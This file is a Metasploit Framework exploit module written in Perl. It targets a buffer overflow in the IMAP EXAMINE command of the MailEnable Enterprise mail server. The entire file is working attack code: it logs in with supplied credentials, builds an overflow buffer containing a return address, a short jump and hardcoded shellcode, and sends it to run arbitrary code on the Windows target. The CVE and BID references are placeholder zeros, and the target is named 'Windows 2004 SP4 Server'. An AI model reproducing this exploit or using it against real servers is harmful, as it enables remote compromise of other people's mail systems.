package Msf::Exploit::muts_mailenable_imap_examine;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;

my $advanced = {
};

my $info = {
'Name' => 'MailEnable ENTERPRISE IMAP EXAMINE Request Buffer Overflow',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'mati@see-security.com' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000'],
'Priv' => 1,

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 143],
'USER' => [1, 'DATA', 'IMAP Username'],
'PASS' => [1, 'DATA', 'IMAP Password'],
},

'AutoOpts' => { 'EXITFUNC' => 'thread' },
'Payload' =>
{
'Space' => 1021,
'BadChars' => "\x00\x0a\x0d\x20\x22",
'MinNops' => 0,
'MaxNops' => 0,
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
MailEnable's IMAP server contains a buffer overflow vulnerability
in the EXAMINE command. With proper credentials, this could allow
for the execution of arbitrary code.
}),

'Refs' =>
[
['CVE','0000'],
['BID', '0000' ],
['NSS', '0000' ],
],

'Targets' =>
[
['Windows 2004 SP4 Server English', 1021, 0x7c4e4a66 ],
],

'Keys' => ['imap'],

'DisclosureDate' => 'Dec 19 2005',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

return($self);
}

sub Exploit {
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $user = $self->GetVar('USER');
my $pass = $self->GetVar('PASS');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $shellcode = $encodedPayload->Payload;
my $target = $self->Targets->[$targetIndex];

my $sock = Msf::Socket::Tcp->new(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
);

if($sock->IsError) {
$self->PrintLine('Error creating socket: ' . $sock->GetError);
return;
}

my $resp = $sock->Recv(-1, 3);
chomp($resp);
$self->PrintLine('[*] Got Banner: ' . $resp);
my $sploit = "A001 LOGIN $user $pass";
$sock->Send($sploit . "\r\n");
my $resp = $sock->Recv(-1, 4);
if($sock->IsError) {
$self->PrintLine('Socket error: ' . $sock->GetError);
return;
}

if($resp !~ /^A001 OK/) {
$self->PrintLine('Login error: ' . $resp);
return;
}

$self->PrintLine('[*] Logged in, sending overflow...');

# Using Msf::Encoder::PexFnstenvMov with final size of 42 bytes

my $secondshellcode = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16\x91\x9c".
"\x30\x83\xeb\xfc\xe2\xf4\xcf\x7f\x45\x44\x32\x65\xc5\xb0\xd7\x9b".
"\x0c\xce\xdb\x6f\x51\xcf\xf7\x91\x9c\x30";

my $login = "A001 EXAMINE ";
my $buffer = $self->MakeNops(1021);
substr($buffer, 532, length($shellcode), $shellcode);
substr($buffer, 961, 4, "\xeb\x06\x06\xeb");
substr($buffer, 965, 4, "\x66\x4a\x4e\x7c"); # jmp ebx win200 sp4
substr($buffer, 979, 42, $secondshellcode);
print "[*] Shellcode Length : " . length($shellcode) . "\n";
my $finalbuffer = $login . $buffer;
$sock->Send($finalbuffer . "\r\n");
my $resp = $sock->Recv(-1, 4);
if(length($resp)) {
$self->PrintLine('[*] Got response, bad: ' . $resp);
}

return;
}

1;